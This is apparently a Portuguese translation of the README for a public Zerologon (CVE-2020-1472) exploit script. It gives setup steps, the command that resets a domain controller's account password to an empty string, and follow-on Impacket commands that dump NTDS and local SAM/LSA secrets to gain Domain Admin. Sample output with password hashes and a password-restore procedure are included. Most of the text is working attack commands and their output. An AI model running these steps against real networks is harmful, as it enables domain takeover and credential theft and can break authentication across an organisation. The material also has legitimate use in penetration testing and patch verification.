
Código de Exploração para CVE-2020-1472 também conhecido como Zerologon
Código de Verificação e Exploração para CVE-2020-1472 também conhecido como Zerologon
Testa se um controlador de domínio é vulnerável ao ataque Zerologon; se vulnerável, redefine a senha da conta do Controlador de Domínio para uma string vazia.
NOTA: Provavelmente quebrará coisas em ambientes de produção (ex.: funcionalidade DNS, comunicação com Controladores de Domínio de replicação, etc); os clientes alvo não conseguirão mais autenticar no domínio, e só poderão ser ressincronizados através de ação manual. Se você quiser saber mais sobre como o ataque Zerologon quebra coisas, graças ao trabalho incrível de @_dirkjan, você pode ler AQUI
Pesquisa original e whitepaper do Zerologon por Secura (Tom Tervoort) - https://www.secura.com/blog/zero-logon
Ele tentará realizar a bypass de autenticação do Netlogon. Quando um controlador de domínio está corrigido, o script de detecção desistirá após enviar 2000 pares de chamadas RPC, concluindo que o alvo não é vulnerável (com uma chance de falso negativo de 0,04%).
A exploração será bem-sucedida apenas se o Controlador de Domínio usar a senha armazenada no Active Directory para validar a tentativa de login, em vez da armazenada localmente, pois, ao alterar uma senha dessa forma, ela é alterada apenas no AD. O próprio sistema alvo ainda armazenará localmente sua senha original.
Requer Python 3.7 ou superior, virtualenv, pip e uma versão modificada da biblioteca do Impacket: nrpc.py (/impacket/dcerpc/v5) a versão mais recente do impacket do GitHub com estruturas netlogon adicionadas.
git clone https://github.com/SecureAuthCorp/impacketcd impacketpwd
~/impacket/
virtualenv --python=python3 impacketsource impacket/bin/activatepip install --upgrade pippip install .~/impacket/
cd examplesgit clone https://github.com/VoidSec/CVE-2020-1472cd CVE-2020-1472pip install -r requirements.txtO script pode ser usado para mirar um DC ou DC de backup. Provavelmente também funcionará contra um DC somente leitura, mas isso ainda não foi testado.
O nome do DC deve ser seu nome de computador NetBIOS. Se este nome não estiver correto, o script provavelmente falhará com um erro STATUS_INVALID_COMPUTER_NAME.
Dado um controlador de domínio chamado EXAMPLE-DC e endereço IP 1.2.3.4, execute o script da seguinte forma:
./cve-2020-1472-exploit.py -n EXAMPLE-DC -t 1.2.3.4Executar o script deve resultar na senha da conta do Controlador de Domínio sendo redefinida para uma string vazia.
Neste ponto, você deve ser capaz de executar o secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR do Impacket (alternativamente, você pode usar o hash vazio: -hashes :31d6cfe0d16ae931b73c59d7e0c089c0) que extrairá apenas dados do NTDS.DIT (hashes NTLM e chaves Kerberos).
O que deve lhe conceder Administrador de Domínio. WIN WIN WIN
> cve-2020-1472-exploit.py -n WIN-U4Q9LLP6L2A -t 192.168.209.129
[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.
> secretsdump.py -no-pass -just-dc ad.test.com/WIN-U4Q9LLP6L2A\[email protected]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Restore:
> wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/[email protected]
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save
> secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
[*] Target system bootKey: 0x31f99ee2e750274d1fee930ab88fe126
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9b5ccb9700e3ed723df08132357ff6a1
[*] DPAPI_SYSTEM
dpapi_machinekey:0xaf83406b2611f18ac99329079e9f47d9409e885f
dpapi_userkey:0x53ed555f11c110f918fc9a97a6c3576266930fb7
[*] NL$KM
0000 55 A7 DF DF 27 E2 64 C1 F7 42 F2 1B 96 76 01 4F U...'.d..B...v.O
0010 24 4C 5D 9B 20 E3 EA 95 DD E9 61 0F 00 8E B2 51 $L]. .....a....Q
0020 B1 79 3F E0 37 3E CB B2 95 31 A6 74 F3 35 54 8A .y?.7>...1.t.5T.
0030 C1 B6 70 3D B3 AB AC C1 7E 8E 90 7A 7B 49 32 46 ..p=....~..z{I2F
NL$KM:55a7dfdf27e264c1f742f21b9676014f244c5d9b20e3ea95dde9610f008eb251b1793fe0373ecbb29531a674f335548ac1b6703db3abacc17e8e907a7b493246
[*] Cleaning up...
> reinstall_original_pw.py WIN-U4Q9LLP6L2A 192.168.209.129 ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
Reinstalar o hash de senha original é necessário para que o DC continue operando normalmente.
Depois de obter o Administrador de Domínio, você pode usar o wmiexec.py no DC alvo com uma credencial obtida do secretsdump e executar os seguintes passos:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
Run: secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
E isso deve mostrar o hash NT original da conta da máquina. Você pode então reinstalar esse hash original da conta da máquina no domínio usando o script reinstall_original_pw.py fornecido aqui. Às vezes, mais de uma execução é necessária antes que funcione.
reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH
Alternativamente, você pode usar o seguinte processo de restauração